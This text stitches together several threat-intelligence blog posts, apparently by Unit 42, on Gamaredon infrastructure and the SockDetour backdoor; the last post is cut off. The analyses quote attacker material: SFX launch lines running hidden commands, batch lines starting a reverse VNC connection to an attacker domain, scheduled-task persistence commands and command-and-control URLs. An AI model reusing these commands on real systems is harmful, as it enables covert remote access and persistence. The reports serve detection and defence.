the actor tries to blend into normal user traffic to remain under the radar for as long as possible.
After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this
run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized
per archive, but almost always turns out to be that of the VNC server itself.
As stated previously, one benefit of this VNC server is that it will use the supplied configuration file (UltraVNC.ini), and 
 along with the
two files rc4.key and MSRC4Plugin_for_sc.dsm 
 will encrypt the communication to further hide from network detection tools.
s not yet clear what the three .jpg files shown in Table 2 are used for as they are base64-encoded data that is likely XOR encoded with a
long key. Gamaredon has used this technique in the past, but these are likely staged files for the attacker to decode once they connect to
the system.
The following are the SFX launch parameters from a separate file to illustrate how the actor attempts to obfuscate the file names but also
that these potentially staged files are not present in all samples.
InstallPath="%USERPROFILE%\\Contacts"
GUIMode="2"
SelfDelete="1"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\18820.tmp
%USERPROFILE%\Contacts\MSRC4Plugin_for_sc.dsm"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25028.tmp %USERPROFILE%\Contacts\rc4.key"
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RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\24318.tmp %USERPROFILE%\Contacts\UltraVNC.ini"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25111.tmp %USERPROFILE%\Contacts\wn.cmd"
RunProgram="hidcon:%USERPROFILE%\\Contacts\\wn.cmd"
While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the
Gamaredon group
s processes.
Specifically, on Jan. 14 starting at 01:23 am GMT, we began seeing VirusTotal uploads of a seemingly in-draft .cmd file pointing to the
same attacker-controlled VNC server. Initially, these files were uploaded to VirusTotal via the Tor network and used the process name
svchosst over transmission control protocol (TCP)/8080, leveraging the user
s Windows security identifier (SID) instead of MAC address
for the VNC identification. The SFX files simply had the name 1.exe.
@for /f %%i in ('wmic useraccount where name^='%USERNAME%' get
sid ^| find "S-1"') do set JsVqVzVxVfVqVaVs=%%i
set ZGVxVkVIVUVlVgVb=technec[.]org
set qgSjSdSaSsSiSGS3=svchosst
set AVlflclclZlPlYlI=8080
set djM8MfMRM0M5MBM0=connect
Three minutes later, we saw the same file uploaded via Tor, but the actor had changed the port to TCP/80 and introduced a bug in the
code that prevents it from executing correctly. Note the positional change of the variables as well.
set djM8MfMRM0M5MBM0=onnect
set r8JgJJJHJGJmJHJ5=%RANDOM%
set ZGVxVkVIVUVlVgVb=technec[.]org
set qgSjSdSaSsSiSGS3=svchosst
set AVlflclclZlPlYlI=80
The bug is due to the onnect value that is set. Reviewing how the reverse VNC connection is launched, this value is used in two places: autorec%djM8MfMRM0M5MBM0% and -%djM8MfMRM0M5MBM0%.
start "1" "%CD%\%qgSjSdSaSsSiSGS3%.exe"
-autorec%djM8MfMRM0M5MBM0% -id:%r8JgJJJHJGJmJHJ5%
-%djM8MfMRM0M5MBM0% %ZGVxVkVIVUVlVgVb%:80%AVlflclclZlPlYlI%
The second instance doesn
t contain the c value needed to correctly spell the word and thus presents an invalid parameter. After another
three minutes, the actor uploaded an SFX file called 2.exe, simply containing test.cmd with the word test in the content.
Again, minutes later, we saw 2.exe uploaded with the test.cmd, but this time it contained the initial part of the .cmd file. However, the
actor had forgotten to include the VNC connect string.
This is where it gets interesting, though 
 about 15 minutes later, we saw the familiar 2.exe upload with test.cmd, but this time it was
being uploaded directly by a user in Russia from a public IP address. We continued to observe this pattern of uploads every few minutes,
where each was a slight iteration of the one before. The person uploading the files appeared to be rapidly 
 and manually 
 modifying the
.cmd file to restore functionality (though the actor was unsuccessful in this series of uploads).
Several domains and IP addresses were hard-coded in VNC samples that are not related to any of domain clusters 1-3 (documented in our
full IoC list).
SSL Pivot to Additional Infrastructure and Samples
While conducting historical research on the infrastructure in cluster 1, we discovered a self-signed certificate associated with cluster 1 IP
address 92.242.62[.]96:
Serial: 373890427866944398020500009522040110750114845760
SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c
Issued: 2021-01-27
Expires: 2031-01-25
Common name: ip45-159-200-109.crelcom[.]ru
Although the IP Address WHOIS record for Crelcom LLC is registered to an address in Moscow, the technical admin listed for the
netblock containing the IP address is registered to an address in Simferopol, Crimea. We further trace the apparent origins of Crelcom
back to Simferopol, Crimea, as well.
This certificate relates to 79 IP addresses:
9/16
The common-name IP address - no Gamaredon domains
One IP address links to cluster 1 above (92.242.62[.]96)
76 IP addresses link to another distinct collection of domains 
cluster 2
1 IP address led us to another distinct cluster, 
cluster 3
 (194.67.116[.]67)
We find almost no overlap of IP addresses between these separate clusters.
File Stealer (Cluster 2)
Of the 76 IP addresses we associate with cluster 2, 70 of them have confirmed links to C2 domains associated with a variant of
Gamaredon
s file stealer tool. Within the last three months, we have identified 23 samples of this malware, twelve of which appear to have
been shared by entities in Ukraine. The C2 domains in those samples include:
Domain
First Seen
jolotras[.]ru
12/16/2021
moolin[.]ru
10/11/2021
naniga[.]ru
9/2/2021
nonimak[.]ru
9/2/2021
bokuwai[.]ru
9/2/2021
krashand[.]ru
6/17/2021
gorigan[.]ru
5/25/2021
Table 3. Recent file stealer C2 domains.
As you can see, some of these domains were established months ago, yet despite their age, they continue to enjoy benign reputations. For
example, only five out of 93 vendors consider the domain krashand[.]ru to be malicious on VirusTotal.
Figure 7. VirusTotal results for krashand[.]ru from Jan. 27, 2022.
Reviewing passive DNS (pDNS) logs for these domains quickly reveals a long list of subdomains associated with each. Some of the
subdomains follow a standardized pattern. For example, several of the domains use the first few letters of the alphabet (a, b, c) in a
repeating combination. Conversely, jolotras[.]ru and moolin[.]ru use randomized alphanumeric characters. We believe that these
subdomains are dynamically generated by the file stealer when it first establishes a connection with its C2 server. As such, counting the
number of subdomains associated with a particular C2 domain provides a rough gauge of the number of entities that have attempted to
connect to the server. However, it is important to also note that the number of pDNS entries can also be skewed by researchers and
cybersecurity products that may be evaluating the malicious samples associated with a particular C2 domain.
Subdomains
637753576301692900[.]jolotras.ru
637753623005957947[.]jolotras[.]ru
637755024217842817.jolotras[.]ru
a.nonimak[.]ru
aaaa.nonimak[.]ru
aaaaa.nonimak[.]ru
10/16
aaaaaa.nonimak[.]ru
0enhzs.moolin[.]ru
0ivrlzyk.moolin[.]ru
0nxfri.moolin[.]ru
Table 4. Subdomain naming for file stealer infrastructure.
In mapping these domains to their corresponding C2 infrastructure, we discovered that the domains overlap in terms of the IP addresses
they point to. This allowed us to identify the following active infrastructure:
IP Address
First Seen
194.58.92[.]102
1/14/2022
37.140.199[.]20
1/10/2022
194.67.109[.]164
12/16/2021
89.108.98[.]125
12/26/2021
185.46.10[.]143
12/15/2021
89.108.64[.]88
10/29/2021
Table 5. Recent file stealer IP infrastructure.
Of note, all of the file stealer infrastructure appears to be hosted within AS197695, the same AS highlighted earlier. Historically, we have
seen the C2 domains point to various autonomous systems (AS) globally. However, as of early November, it appears that the actors have
consolidated all of their file stealer infrastructure within Russian ASs 
 predominantly this single AS.
In mapping the patterns involved in the use of this infrastructure, we found that the domains are rotated across IP addresses in a manner
similar to the downloader infrastructure discussed previously. A malicious domain may point to one of the C2 server IP addresses today
while pointing to a different address tomorrow. This adds a degree of complexity and obfuscation that makes it challenging for network
defenders to identify and remove the malware from infected networks. The discovery of a C2 domain in network logs thus requires
defenders to search through their network traffic for the full collection of IP addresses that the malicious domain has resolved to over
time. As an example, moolin[.]ru has pointed to 11 IP addresses since early October, rotating to a new IP every few days.
IP Address
Country
First Seen
Last Seen
194.67.109[.]164
197695
2021-12-28
2022-01-27
185.46.10[.]143
197695
2021-12-16
2021-12-26
212.109.199[.]204
29182
2021-12-15
2021-12-15
80.78.241[.]253
197695
2021-11-19
2021-12-14
89.108.78[.]82
197695
2021-11-16
2021-11-18
194.180.174[.]46
39798
2021-11-15
2021-11-15
70.34.198[.]226
20473
2021-10-14
2021-10-30
104.238.189[.]186
20473
2021-10-13
2021-10-14
95.179.221[.]147
20473
2021-10-13
2021-10-13
176.118.165[.]76
43830
2021-10-12
2021-10-13
Table 6. Recent file stealer IP infrastructure
Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner. Rather than connecting
directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address. Once complete, it establishes an
HTTPS connection directly to the IP address. For example:
11/16
C2 Domain: moolin[.]ru
C2 IP Address: 194.67.109[.]164
C2 Comms: https://194.67.109[.]164/zB6OZj6F0zYfSQ
This technique of creating distance between the domain and the physical C2 infrastructure seems to be an attempt to bypass URL
filtering:
1. The domain itself is only used in an initial DNS request to resolve the C2 server IP address 
 no actual connection is attempted
using the domain name.
2. Identification and blocking of a domain doesn
t impact existing compromises as the malware will continue to communicate directly
with the C2 server using the IP address 
 even if the domain is subsequently deleted or rotated to a new IP 
 as long as the malware
continues to run.
One recent file stealer sample we analyzed (SHA256: f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824) was
found to be a .NET binary that had been obfuscated to make analysis more difficult. The first thing that jumps out when reviewing these
files are their sizes. This particular file clocks in at over 136 MB in size, but we observed files going all the way up to 200 MB and beyond.
It is possible that this is an attempt to circumvent automated sandbox analysis, which usually avoids scanning such large files. It may also
simply be a byproduct of the obfuscation tools being used. Whatever the reason for the large file size, it comes at a price to the attacker, as
executables of this size stick out upon review. Transmitting a file this large to a victim becomes a much more challenging task.
The obfuscation within this sample is relatively simple and mainly relies upon defining arrays and concatenating strings of single
characters in high volume over hundreds of lines to try to hide the construction of the actual string within the noise.
Figure 8. Building the string 
IconsCache.db
 in the 
text
 variable.
It begins by checking for the existence of the Mutex Global\lCHBaUZcohRgQcOfdIFaf, which, if present, implies the malware is already
running and will cause the file stealer to exit. Next, it will create the folder C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\icons,
wherein screenshots that are taken every minute will be stored and then transmitted to the C2 server with the name format YYYY-MMDD-HH-MM.jpg.
To identify the IP address of the C2 server, the file stealer will generate a random string of alphanumeric characters between eight and 23
characters long, such as 9lGo990cNmjxzWrDykSJbV.jolotras[.]ru.
As mentioned previously, once the file stealer retrieves the IP address for this domain, it will no longer use the domain name. Instead, all
communications will be direct with the IP address.
During execution, it will search all fixed and network drives attached to the computer for the following extensions:
.doc
.docx
.xls
.rtf
12/16
.odt
.txt
.jpg
.pdf
.ps1
When it has a list of files on the system, it begins to create a string for each that contains the path of the file, the size of the file and the last
time the file was written to, similar to the example below:
C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM
The file stealer takes this string and generates an MD5 hash of it, resulting in the following output for this example:
FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA
Next, it removes the hyphens from the hash and converts all uppercase letters to lowercase. These MD5 hashes are then saved into the file
C:\Users\%USER%\AppData\Local\IconsCache.db. The naming of this file is another attempt to hide in plain sight next to the legitimate
IconCache.db.
Figure 9. IconsCache.db contents.
The malware uses this database to track unique files.
The malware will then generate a URL path with alphanumeric characters for its C2 communication, using the DNS-IP technique
illustrated previously with the moolin[.]ru domain example:
https://194.67.109[.]164/zB6OZj6F0zYfSQ
Below is the full list of domains currently resolving to cluster 2 IP addresses:
Domain
Registered
jolotras[.]ru
12/16/2021
moolin[.]ru
10/11/2021
bokuwai[.]ru
9/2/2021
naniga[.]ru
9/2/2021
nonimak[.]ru
9/2/2021
bilargo[.]ru
7/23/2021
krashand[.]ru
6/17/2021
firtabo[.]ru
5/28/2021
13/16
gorigan[.]ru
5/25/2021
firasto[.]ru
5/21/2021
myces[.]ru
2/24/2021
teroba[.]ru
2/24/2021
bacilluse[.]ru
2/15/2021
circulas[.]ru
2/15/2021
megatos[.]ru
2/15/2021
phymateus[.]ru
2/15/2021
cerambycidae[.]ru
1/22/2021
coleopteras[.]ru
1/22/2021
danainae[.]ru
1/22/2021
Table 7. All cluster 2 domains.
Pteranodon (Cluster 3)
The single remaining IP address related to the SSL certificate was not related to either cluster 1 or cluster 2, and instead led us to a third,
distinct cluster of domains.
This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has
used, maintained and updated development of this code for years. Its code contains anti-detection functions specifically designed to
identify sandbox environments in order to thwart antivirus detection attempts. It is capable of downloading and executing files, capturing
screenshots and executing arbitrary commands on compromised systems.
Over the last three months, we have identified 33 samples of Pteranodon. These samples are commonly named 7ZSfxMod_x86.exe.
Pivoting across this cluster, we identified the following C2 infrastructure:
Domain
Registered
takak[.]ru
9/18/2021
rimien[.]ru
9/18/2021
maizuko[.]ru
9/2/2021
iruto[.]ru
9/2/2021
gloritapa[.]ru
8/5/2021
gortisir[.]ru
8/5/2021
gortomalo[.]ru
8/5/2021
langosta[.]ru
6/25/2021
malgaloda[.]ru
6/8/2021
Table 8. Cluster 3 domains.
We again observe domain reputation aging, as seen in cluster 2.
An interesting naming pattern is seen in cluster 3 
 also seen in some cluster 1 host and subdomain names. We see these actors using
English words, seemingly grouped by the first two or three letters. For example:
deep-rooted.gloritapa[.]ru
deep-sinking.gloritapa[.]ru
deepwaterman.gloritapa[.]ru
deepnesses.gloritapa[.]ru
deep-lunged.gloritapa[.]ru
deerfood.gortomalo[.]ru
deerbrook.gortomalo[.]ru
14/16
despite.gortisir[.]ru
des.gortisir[.]ru
desire.gortisir[.]ru
This pattern differs from those of cluster 2, but has been observed on some cluster 1 (dropper) domains, for example:
alley81.salts.kolorato[.]ru
allied.striman[.]ru
allowance.hazari[.]ru
allowance.telefar[.]ru
ally.midiatr[.]ru
allocate54.previously.bilorotka[.]ru
alluded6.perfect.bilorotka[.]ru
already67.perfection.zanulor[.]ru
already8.perfection.zanulor[.]ru
This pattern is even carried into HTTP POSTs, files and directories created by associated samples:
Example 1:
SHA256: 74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee
deerflys.gortomalo[.]ru
C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deepnaked\deepmost.fly" counteract /create //b /criminal //e:VBScript /cracker counteract " /F
POST /index.eef/deep-water613
Example 2:
SHA256: ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13
deer-neck.gortomalo[.]ru
"C:\Windows\System32\schtasks.exe" /CREATE /sc minute /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deepworn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F
POST /cache.jar/deerkill523
Because we only see this with some domains, this may be a technique employed by a small group of actors or teams. It suggests a possible
link between the cluster 3 samples and those from cluster 1 employing a similar naming system. In contrast, we do not observe cluster 2
large-number or random-string naming technique employed in any cluster 1 domains.
Conclusion
Gamaredon has been targeting Ukrainian victims for almost a decade. As international tensions surrounding Ukraine remain unresolved,
Gamaredon
s operations are likely to continue to focus on Russian interests in the region. This blog serves to highlight the importance of
research into adversary infrastructure and malware, as well as community collaboration, in order to detect and defend against nationstate cyberthreats. While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more
that remains undiscovered. Unit 42 remains vigilant in monitoring the evolving situation in Ukraine and continues to actively hunt for
indicators to put protections in place to defend our customers anywhere in the world. We encourage all organizations to leverage this
research to hunt for and defend against this threat.
Protections and Mitigations
The best defense against this evolving threat group is a security posture that favors prevention. We recommend that organizations
implement the following:
Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat group.
Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs identified above.
Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure.
Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru).
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call
North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan:
+81.50.1790.0200.
15/16
For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign:
Cortex XDR protects endpoints from the malware techniques described in this blog.
WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this group as malicious.
Users of AutoFocus contextual threat intelligence service can view malware associated with these attacks using the Gamaredon Group tag.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance
members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious
cyber actors. Learn more about the Cyber Threat Alliance.
Indicators of Compromise
A list of the domains, IP addresses and malware hashes is available on the Unit 42 GitHub. Additional IoCs shared in a Feb. 16 update to
this report are also available.
Additional Resources
The Gamaredon Group Toolset Evolution 
 Unit 42, Palo Alto Networks
Threat Brief: Ongoing Russia and Ukraine Cyber Conflict 
 Unit 42, Palo Alto Networks
Technical Report on Armageddon / Gamaredon 
 Security Service of Ukraine
Tale of Gamaredon Infection 
 CERT-EE / Estonian Information System Authority
Updated Feb. 16, 2021, at 6:30 a.m. PT.
Get updates from Palo Alto Networks!
Sign up to receive the latest news, cyber threat intelligence and research from us
16/16
SockDetour 
 a Silent, Fileless, Socketless Backdoor 
 Targets U.S. Defense
Contractors
unit42.paloaltonetworks.com/sockdetour
February 24, 2022
By Unit 42
February 24, 2022 at 6:00 AM
Category: Malware
Tags: APT, backdoor, CVE-2021-28799, CVE-2021-40539, CVE-2021-44077, TiltedTemple, Windows
This post is also available in: 
 (Japanese)
Executive Summary
Unit 42 has been tracking an APT campaign we name TiltedTemple, which we first identified in connection with its use of the Zoho
ManageEngine ADSelfService Plus vulnerability CVE-2021-40539 and ServiceDesk Plus vulnerability CVE-2021-44077. The threat actors
involved use a variety of techniques to gain access to and persistence in compromised systems and have successfully compromised more than a
dozen organizations across the technology, energy, healthcare, education, finance and defense industries. In conducting further analysis of this
campaign, we identified another sophisticated tool being used to maintain persistence, which we call SockDetour.
A custom backdoor, SockDetour is designed to serve as a backup backdoor in case the primary one is removed. It is difficult to detect, since it
operates filelessly and socketlessly on compromised Windows servers. One of the command and control (C2) infrastructures that the threat
actor used for malware distribution for the TiltedTemple campaign hosted SockDetour along with other miscellaneous tools such as a memory
dumping tool and several webshells. We are tracking SockDetour as one campaign within TiltedTemple, but cannot yet say definitively whether
the activities stem from a single or multiple threat actors.
Based on Unit 42
s telemetry data and the analysis of the collected samples, we believe the threat actor behind SockDetour has been focused on
targeting U.S.-based defense contractors using the tools. Unit 42 has evidence of at least four defense contractors being targeted by this
campaign, with a compromise of at least one contractor.
Unit 42 also believes it is possible that SockDetour has been in the wild since at least July 2019. We did not find any additional SockDetour
samples on public repositories, meaning that the backdoor successfully stayed under the radar for a long time.
Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found
in the Unit 42 ATOM viewer.
Palo Alto Networks customers are protected from the threats described in this blog by Cortex XDR and WildFire, and can use AutoFocus for
tracking related entities. Additionally, the YARA rule we attached at the end of this blog post can be used to detect SockDetour in memory.
Vulnerabilities Discussed
CVE-2021-40539, CVE-2021-44077, CVE-2021-28799
Operating System Affected
Windows
Related Unit 42 Topics
TiltedTemple, APT, backdoors
Table of Contents
Background on the TiltedTemple Campaign
SockDetour Targets US Defense Industry
SockDetour Hosted by Compromised Home and SOHO NAS Server
Analysis of SockDetour
Client Authentication and C2 Communication
Plugin Loading Feature
Conclusion
Protections and Mitigations
Indicators of Compromise
Background on the TiltedTemple Campaign
TiltedTemple is the name Unit 42 gives to a campaign being conducted by an advanced persistent threat (APT) or APTs, leveraging a variety of
initial access vectors, to compromise a diverse set of targets globally. Our initial publications on TiltedTemple focused on attacks that occurred
through compromised ManageEngine ADSelfService Plus servers and through ManageEngine ServiceDesk Plus.
The TiltedTemple campaign has compromised organizations across the technology, energy, healthcare, education, finance and defense
industries and conducted reconnaissance activities against these industries and others, including infrastructure associated with five U.S. states.
We found SockDetour hosted on infrastructure associated with TiltedTemple, though we have not yet determined whether this is the work of a
single threat actor or several.
SockDetour Targets US Defense Industry
While the TitledTemple campaign was initially identified as starting in August 2021, we have recently discovered evidence that SockDetour was
delivered from an external FTP server to a U.S.-based defense contractor
s internet-facing Windows server on July 27, 2021.
The FTP server also hosted other miscellaneous tools used by the threat actor, such as a memory dumping tool and ASP webshells.
After analyzing and tracking these indicators, we were able to discover that at least three other U.S.-based defense contractors were targeted by
the same actor.
SockDetour Hosted by Compromised Home and SOHO NAS Server
The FTP server that hosted SockDetour was a compromised Quality Network Appliance Provider (QNAP) small office and home office (SOHO)
network-attached storage (NAS) server. The NAS server is known to have multiple vulnerabilities, including a remote code execution
vulnerability, CVE-2021-28799. This vulnerability was leveraged by various ransomware families in massive infection campaigns in April 2021.
We believe the threat actor behind SockDetour likely also leveraged these vulnerabilities to compromise the NAS server. In fact, the NAS server
was already infected with QLocker from the previous ransomware campaigns.
Analysis of SockDetour
SockDetour is a custom backdoor compiled in 64-bit PE file format. It is designed to serve as a backup backdoor in case the primary one is
detected and removed. It works on Windows operating systems that are running services with listening TCP ports. It hijacks network
connections made to the pre-existing network socket and establishes an encrypted C2 channel with the remote threat actor via the socket.
Thus, SockDetour requires neither opening a listening port from which to receive a connection nor calling out to an external network to
establish a remote C2 channel. This makes the backdoor more difficult to detect from both host and network level.
In order for SockDetour to hijack an existing process
s socket, it needs to be injected into the process
s memory. For this reason, the threat
actor converted SockDetour into a shellcode using an open source shellcode generator called Donut framework, then used the PowerSploit
memory injector to inject the shellcode into target processes. The samples we found contained hardcoded target processes
 IDs, which means
the threat actor manually chose injection target processes from compromised servers.
After SockDetour is injected into the target process, the backdoor leverages the Microsoft Detours library package, which is designed for the
monitoring and instrumentation of API calls on Windows to hijack a network socket. Using the DetourAttach() function, it attaches a hook to
the Winsock accept() function. With the hook in place, when new connections are made to the service port and the Winsock accept() API
function is invoked, the call to the accept() function is re-routed to the malicious detour function defined in SockDetour.
Other non-C2 traffic is returned to the original service process to ensure the targeted service operates normally without interference.
With such implementation, SockDetour is able to operate filelessly and socketlessly in compromised Windows servers, and serves as a backup
backdoor in case the primary backdoor is detected and removed by defenders.
Figure 1. SockDetour Workflow
Client Authentication and C2 Communication
As SockDetour hijacks all the connections made to the legitimate service port, it first needs to verify the C2 traffic from incoming traffic that is
mixed with legitimate service traffic, then authenticate to make sure the C2 connection is made from the right client.
SockDetour achieves the verification and authentication of the C2 connection with the following steps.
1. First, expect to receive 137 bytes of data from a client for authentication. The authentication data is as shown in the structure in Table 1.
17 03 03
AA BB
CC DD EE FF
128-byte data block
Fixed header value to disguise TLS
traffic
Payload data
size
Four-byte variable used for client
authentication
Data signature for client authentication
data block
Table 1. SockDetour client authentication data structure.
2. Read the first nine bytes of data. This data is received using the recv() function with the MSG_PEEK option so that it will not interfere with
the legitimate service
s traffic by removing data from the socket queue.
3. Verify that the data starts with 17 03 03, which is commonly seen as a record header for TLS transactions when encrypted data is being
transferred. However, this is abnormal for normal TLS 
 a TLS-encrypted transaction would not normally show up without proper TLS
handshakes.
Figure 2. SockDetour receives data with the MSG_PEEK option and verifies the data.
4. Check that the size of payload data AA BB is less than or equal to 251.
5. Check that the four bytes of payload CC DD EE FF satisfy the conditions below:
1. The result is 88 a0 90 82 after bitwise AND with 88 a0 90 82
2. The result is fd f5 fb ef after bitwise OR with fd f5 fb ef
6. Read the whole 137 bytes of data from the same data queue with the MSG_PEEK option for further authentication.
7. Build a 24-byte data block as shown in Table 2.
08 1c c1 78 d4 13 3a d7 0f ab
CC DD EE FF
b3 a2 b8 ae 63 bb 03 e8 ff 3b
10 bytes hardcoded in SockDetour
Four bytes received from the client for authentication
10 bytes hardcoded in SockDetour
Table 2. 24-byte data block to be verified for client authentication.
8. This 24-byte data block is hashed and verified using an embedded public key against the 128-byte data signature in Table 1, which the threat
actor would have created by signing the hash of the same 24-byte data block using the corresponding private key.
This completes the client authentication step. After successful authentication, SockDetour takes over the TCP session using the recv() function
without the MSG_PEEK option as this session is now verified to be for the backdoor.
Next, SockDetour creates a 160-bit session key using a hardcoded initial vector value bvyiafszmkjsmqgl, then sends it to the remote client using
the following data structure.
17 03 03
AA BB
CC DD EE FF
session_key
random_padding
Fixed header value to disguise TLS traffic
Payload data size
Session key length
160-bit session key
Random padding
Table 3. SockDetour sending session key to client.
In common encryption protocols such as TLS, the session key is encrypted with a public key before transferring. However, in this case, the
malware author has seemingly forgotten the step and transfers the key in plain text.
Now with the session key shared between SockDetour and the remote client, the C2 connection is made encrypted over the hijacked socket.
Plugin Loading Feature
As a backup backdoor, SockDetour serves only one feature of loading a plugin DLL. After the session key sharing, SockDetour receives four
bytes of data from the client, which indicates the length of data SockDetour will receive for the final payload delivery stage. The size is expected
to be smaller or equal to five MB.
The final payload data received is encrypted using the shared session key. After decryption, the received data is expected to be in JSON format
with two objects app and args. app contains a base 64-encoded DLL, and args contains an argument to be passed to the DLL. SockDetour loads
this plugin DLL in newly allocated memory space, then calls an export function with the name ThreadProc with a function argument in the
following JSON structure.
"sock": hijacked_socket,
"key": session_key,
"args": arguments_received_from_client
While plugin DLL samples were not discovered, the above function argument suggests that the plugin also likely communicates via the hijacked
socket and encrypts the transaction using the session key. Thus, we surmise it operates as stealthily as SockDetour does.
Conclusion
SockDetour is a backdoor that is designed to remain stealthily on compromised Windows servers so that it can serve as a backup backdoor in
case the primary one fails. It is filelessly loaded in legitimate service processes and uses legitimate processes
 network sockets to establish its
own encrypted C2 channel.
While it can be easily altered, the compilation timestamp of the SockDetour sample we analyzed suggests that it has likely been in the wild
since at least July 2019 without any update to the PE file. Plus, we did not find any additional SockDetour samples on public repositories. This
suggests that the backdoor successfully stayed under the radar for a long time.
The plugin DLL remains unknown, but it is also expected to operate very stealthily by being delivered via the SockDetour
s encrypted channel,
being loaded filelessly in memory and communicating via hijacked sockets.
As an additional note, the type of NAS server that we found hosting SockDetour is typically used by small businesses. This example serves as a
critical reminder to patch this type of server frequently when fixes are released.
Protections and Mitigations
Cortex XDR protects endpoints and accurately identifies the memory injector as malicious. Additionally, Cortex XDR has several detections for
lateral movement and credential theft tactics, techniques and procedures (TTPs) employed by this actor set.
WildFire cloud-based threat analysis service accurately identifies the injector used in this campaign as malicious.
AutoFocus customers can track SockDetour activity via the SockDetour tag.
We advise server administrators to keep Windows servers up to date.
The YARA rule attached at the end of this blog can be used to detect the presence of SockDetour in memory.
Organizations should conduct an incident response investigation if they think they are compromised by SockDetour. If you think you may have
been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free:
866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730 or Japan: +81.50.1790.0200.
Indicators of Compromise
SockDetour PE
0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df
PowerSploit Memory Injectors Delivering SockDetour
80ed7984a42570d94cd1b6dcd89f95e3175a5c4247ac245c817928dd07fc9540
bee2fe0647d0ec9f2f0aa5f784b122aaeba0cddb39b08e3ea19dd4cdb90e53f9
a5b9ac1d0350341764f877f5c4249151981200df0769a38386f6b7c8ca6f9c7a
607a2ce7dc2252e9e582e757bbfa2f18e3f3864cb4267cd07129f4b9a241300b
11b2b719d6bffae3ab1e0f8191d70aa1bade7f599aeadb7358f722458a21b530
cd28c7a63f91a20ec4045cf40ff0f93b336565bd504c9534be857e971b4e80ee
ebe926f37e7188a6f0cc85744376cdc672e495607f85ba3cbee6980049951889
3ea2bf2a6b039071b890f03b5987d9135fe4c036fb77f477f1820c34b341644e
7e9cf2a2dd3edac92175a3eb1355c0f5f05f47b7798e206b470637c5303ac79f
bb48438e2ed47ab692d1754305df664cda6c518754ef9a58fb5fa8545f5bfb9b
Public Key Embedded in SocketDetour
-----BEGIN PUBLIC KEY----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD+aT
----END PUBLIC KEY-----
YARA Rule for Detecting SockDetour in Memory
rule apt_win_sockdetour
meta:
author = "Unit 42 - PaloAltoNetworks"
date = "2022-01-23"
description = "Detects SockDetour in memory or in PE format"
hash01 = "0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df"
strings:
$public_key =
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD
$json_name_sequence = {61 70 70 00 61 72 67 73 00 00 00 00 73 6F 63 6B 00 00 00 00 6B 65 79 00 61 72 67 73 00 00}
$verification_bytes = {88 [4] A0 [4] 90 [4] 82 [4] FD [4] F5 [4] FB [4] EF}
$data_block = {08 [4] 1C [4] C1 [4] 78 [4] D4 [4] 13 [4] 3A [4] D7 [4] 0F [4] AB [4] B3 [4] A2 [4] B8 [4] AE [4] 63 [4] BB [4] 03 [4] E8 [4] FF [4] 3
$initial_vector = {62 [4] 76 [4] 79 [4] 69 [4] 61 [4] 66 [4] 73 [4] 7A [4] 6D [4] 6B [4] 6A [4] 73 [4] 6D [4] 71 [4] 67 [4] 6C}
condition:
any of them
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Russia
s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations
Unwavering Since Invasion of Ukraine
unit42.paloaltonetworks.com/trident-ursa
December 20, 2022
By Unit 42
December 20, 2022 at 3:00 AM
Category: Government, Malware
Tags: APTs, Cortex XDR, DNS security, Gamaredon, next-generation firewall, Phishing, primitive bear, Russia,
Shuckworm, threat prevention, Trident Ursa, UAC-0010, Ukraine, URL filtering, WildFire
Executive Summary
Since our last blog in early February covering the advanced persistent threat (APT) group Trident Ursa (aka
Gamaredon, UAC-0010, Primitive Bear, Shuckworm), Ukraine and its cyber domain has faced ever-increasing
threats from Russia. Trident Ursa is a group attributed by the Security Service of Ukraine to Russia
